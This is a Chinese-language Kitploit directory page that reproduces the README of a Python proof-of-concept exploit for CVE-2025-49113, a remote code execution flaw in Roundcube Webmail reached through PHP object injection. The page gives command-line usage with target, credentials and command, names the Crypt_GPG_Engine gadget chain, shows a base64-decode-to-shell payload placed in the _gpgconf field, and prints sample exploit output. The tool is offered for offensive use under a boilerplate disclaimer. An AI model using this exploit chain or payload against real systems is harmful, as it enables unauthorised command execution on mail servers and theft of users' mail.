Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-49113 — 💥 CVE-2025-49113 Python 漏洞利用 | 通过 PHP 对象注入实现 Roundcube Webmail RCE | Kitploit
工具/GitHubGitHub/00xcanelo/cve-2025-49113
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHub00xcanelo/cve-2025-49113

CVE-2025-49113

💥 CVE-2025-49113 Python 漏洞利用 | 通过 PHP 对象注入实现 Roundcube Webmail RCE

查看仓库
86101年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-49113 – Roundcube Webmail RCE漏洞利用 (Python PoC)

CVE ID: CVE-2025-49113
利用类型: 远程代码执行(通过PHP对象注入)
应用: Roundcube Webmail ≤ 1.5.9 和 ≤ 1.6.10
利用语言: Python
作者: 00xCanelo
状态: 已在存在漏洞的Roundcube安装上测试并生效


📌 描述

此漏洞利用了Roundcube Webmail处理上传图片文件名时的反序列化问题,这些文件名被作为PHP对象反序列化。通过构造恶意载荷触发Crypt_GPG_Engine反序列化链,可以在身份验证后实现远程命令执行。

该Python PoC模拟了公开PHP利用所使用的攻击链,但逻辑更清晰、支持可选日志记录,并且易于在攻击工具链中使用。


🚧 先决条件

  • 存在漏洞的Roundcube版本(≤1.5.9或≤1.6.10)
  • 有效的Roundcube用户凭证
  • Python 3.x环境
  • pip install requests

🚀 利用步骤

root@kitploit:~
python3 CVE-2025-49113.py <target_url> <username> <password> <command>

示例:

root@kitploit:~
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'

🔐 漏洞链

PHP类Crypt_GPG_Engine允许设置一个_gpgconf字段,该字段随后被传递给shell执行。

我们的载荷构造:

root@kitploit:~
echo "<base64-encoded-cmd>" | base64 -d | sh

放在_gpgconf中,在反序列化时导致RCE。


💣 示例输出

root@kitploit:~
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!

📁 文件结构

root@kitploit:~
.
├── CVE-2025-49113.py     # Python PoC脚本
└── README.md             # 本文档

⚠️ 免责声明

此代码仅供教育和授权安全测试使用。严禁滥用此工具。作者不对任何造成的损害负责。


🧠 参考

  • https://nvd.nist.gov/vuln/detail/CVE-2025-49113
  • https://github.com/roundcube/roundcubemail/issues/9312
  • https://huntr.dev/bounties/f8e2a8e6-d1d7-44e1-93e1-367861c97a82/
下载工具